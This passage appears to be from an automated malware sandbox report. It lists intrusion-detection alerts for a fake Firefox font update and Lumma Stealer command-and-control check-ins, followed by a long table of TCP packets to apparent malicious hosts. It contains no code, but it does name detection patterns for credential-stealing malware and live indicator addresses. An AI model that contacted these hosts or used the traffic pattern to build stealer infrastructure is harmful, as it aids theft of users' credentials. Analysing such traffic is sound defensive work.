2024-12-27T22:33:33.056891+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49768	104.21.60.24	443	TCP
2024-12-27T22:33:33.062072+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49769	104.21.60.24	443	TCP
2024-12-27T22:33:35.300277+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49770	104.21.60.24	443	TCP
2024-12-27T22:33:35.326498+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49771	104.21.60.24	443	TCP
2024-12-27T22:33:37.378300+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49772	104.21.60.24	443	TCP
2024-12-27T22:33:39.029433+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49773	104.21.60.24	443	TCP
2024-12-27T22:33:39.529055+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49774	104.21.60.24	443	TCP
2024-12-27T22:33:39.826826+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49773	104.21.60.24	443	TCP
2024-12-27T22:33:41.877377+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49775	104.21.60.24	443	TCP
2024-12-27T22:33:45.407596+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49776	104.21.60.24	443	TCP
2024-12-27T22:33:46.187336+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49776	104.21.60.24	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 22:32:56.362483978 CET	49730	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:56.362529993 CET	443	49730	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:56.362646103 CET	49730	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:56.363296986 CET	49731	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:56.363351107 CET	443	49731	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:56.363409996 CET	49731	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:56.364830017 CET	49732	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:56.364923000 CET	443	49732	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:56.365048885 CET	49732	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:56.376581907 CET	49730	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:56.376605988 CET	443	49730	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:56.376837969 CET	49732	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:56.376874924 CET	443	49732	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:56.377460003 CET	49731	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:56.377475977 CET	443	49731	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.743907928 CET	443	49731	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.743988037 CET	49731	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:57.747652054 CET	443	49730	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.747725964 CET	49730	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:57.752017021 CET	443	49732	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.752082109 CET	49732	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:57.762917995 CET	49732	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:57.762965918 CET	443	49732	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.763209105 CET	443	49732	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.764005899 CET	49730	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:57.764022112 CET	443	49730	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.764247894 CET	443	49730	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.777163029 CET	49730	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:57.791903973 CET	49731	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:57.791918993 CET	443	49731	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.792247057 CET	443	49731	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.809042931 CET	49732	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:57.823333025 CET	443	49730	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.827989101 CET	49731	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:57.855333090 CET	443	49732	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:57.871332884 CET	443	49731	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:58.288022995 CET	443	49732	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:58.288213968 CET	443	49732	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:58.288280010 CET	49732	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:58.291963100 CET	49732	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:58.327408075 CET	49733	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:58.327455997 CET	443	49733	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:58.327554941 CET	49733	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:58.332492113 CET	49733	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:58.332509995 CET	443	49733	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:58.346065044 CET	443	49731	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:58.346158981 CET	443	49731	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:58.346236944 CET	49731	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:58.348519087 CET	49731	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:58.367924929 CET	443	49730	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:58.367995977 CET	443	49730	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:58.368076086 CET	49730	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:58.369811058 CET	49730	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:59.795882940 CET	443	49733	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:59.795985937 CET	49733	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:59.800781965 CET	49733	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:59.800789118 CET	443	49733	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:59.801079035 CET	443	49733	149.154.167.220	192.168.2.4
Dec 27, 2024 22:32:59.807356119 CET	49733	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:32:59.851344109 CET	443	49733	149.154.167.220	192.168.2.4
Dec 27, 2024 22:33:00.345278978 CET	443	49733	149.154.167.220	192.168.2.4
Dec 27, 2024 22:33:00.345495939 CET	443	49733	149.154.167.220	192.168.2.4
Dec 27, 2024 22:33:00.345628977 CET	49733	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:33:00.346662998 CET	49733	443	192.168.2.4	149.154.167.220
Dec 27, 2024 22:33:01.883930922 CET	49734	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:02.003485918 CET	80	49734	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:02.003568888 CET	49734	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:02.008841038 CET	49734	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:02.128391981 CET	80	49734	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:02.223800898 CET	49735	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:02.343461990 CET	80	49735	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:02.343550920 CET	49735	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:02.362827063 CET	49735	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:02.482507944 CET	80	49735	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:02.602885008 CET	49736	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:02.722882032 CET	80	49736	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:02.723042965 CET	49736	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:02.730586052 CET	49736	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:02.850661039 CET	80	49736	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:03.302025080 CET	80	49734	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:03.302047014 CET	80	49734	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:03.302162886 CET	49734	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:03.303366899 CET	49734	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:03.423687935 CET	80	49734	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:03.423758984 CET	49734	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:03.602217913 CET	80	49735	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:03.602278948 CET	80	49735	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:03.602348089 CET	49735	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:03.602679014 CET	49735	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:03.723012924 CET	80	49735	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:03.723100901 CET	49735	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:04.075124979 CET	80	49736	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:04.075239897 CET	80	49736	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:04.075299025 CET	49736	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:04.075659037 CET	49736	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:04.195502043 CET	80	49736	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:04.195564032 CET	49736	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:04.880934000 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:04.904747963 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:05.000477076 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:05.000749111 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:05.000866890 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:05.024321079 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:05.025543928 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:05.025715113 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:05.056417942 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:05.120572090 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:05.145176888 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:05.176157951 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:05.176326036 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:05.176923037 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:05.296688080 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288124084 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288167953 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288206100 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288259029 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.288259983 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288311005 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288311005 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.288346052 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288379908 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288414955 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288433075 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.288463116 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.288502932 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288532972 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.288575888 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.356055975 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356112957 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356147051 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356168985 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.356235981 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356267929 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356276989 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.356302977 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356336117 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356345892 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.356372118 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356416941 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.356427908 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356462002 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.356502056 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.408155918 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.408257961 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.408310890 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.412235022 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.440737009 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.440768003 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.440804005 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.440819979 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.440860033 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.440908909 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.440922976 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.440959930 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.441000938 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.441009998 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.441044092 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.441076994 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.441091061 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.441131115 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.441174984 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.476685047 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.476735115 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.476793051 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.479731083 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.479800940 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.479871988 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.483987093 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.484030962 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.484093904 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.492468119 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.492518902 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.492518902 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.500835896 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.500880003 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.500888109 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.509320021 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.509366989 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.509407043 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.517775059 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.517824888 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.517900944 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.526237011 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.526274920 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.526293993 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.535098076 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.535150051 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.535197020 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.543091059 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.543142080 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.543158054 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.551460981 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.551511049 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.562025070 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.562230110 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.562293053 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.566229105 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.566548109 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.566657066 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.566703081 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.570782900 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.570878983 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.570925951 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.579221964 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.579272985 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.579322100 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.587603092 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.587841034 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.587898016 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.595948935 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.596074104 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.596123934 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.604401112 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.604465008 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.604511023 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.612899065 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.612934113 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.612993002 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.621196032 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.621248960 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.621300936 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.629530907 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.629724979 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.629786015 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.632703066 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.632731915 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.632749081 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.635199070 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.635246038 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.635354996 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.638120890 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.643619061 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.643655062 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.643668890 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.652015924 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.652062893 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.652129889 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.660355091 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.660403967 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.660466909 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.668870926 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.668905973 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.668921947 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.677237988 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.677288055 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.677310944 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.685666084 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.685714006 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.685739040 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.694005013 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.694057941 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.694113016 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.702372074 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.702421904 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.702446938 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:06.718890905 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:06.838124990 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:07.279993057 CET	49740	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:07.399540901 CET	80	49740	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:07.399636984 CET	49740	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:07.399923086 CET	49740	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:07.519375086 CET	80	49740	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.617834091 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.618010998 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.618175983 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.618315935 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.662985086 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.663192987 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.709621906 CET	80	49740	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.709646940 CET	80	49740	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.709712982 CET	49740	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.716191053 CET	49740	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.737698078 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.737751961 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.737854958 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.737862110 CET	80	49738	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.737920046 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.737957954 CET	49738	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.738042116 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.738132954 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.738377094 CET	80	49737	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.738435030 CET	49737	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.783077955 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.783160925 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.783180952 CET	80	49739	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.783238888 CET	49739	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.783274889 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.836040974 CET	80	49740	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.836103916 CET	49740	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:08.857645988 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.857680082 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:08.902797937 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:09.157658100 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:09.280543089 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:09.280780077 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:09.281054974 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:09.400629044 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040410995 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040431976 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040441036 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040566921 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040576935 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040656090 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040667057 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040677071 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040676117 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.040676117 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.040688038 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040704966 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.040780067 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.040780067 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.040780067 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.082636118 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.082683086 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.082699060 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.082762957 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.082793951 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.082806110 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.082817078 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.082829952 CET	80	49741	147.45.44.131	192.168.2.4
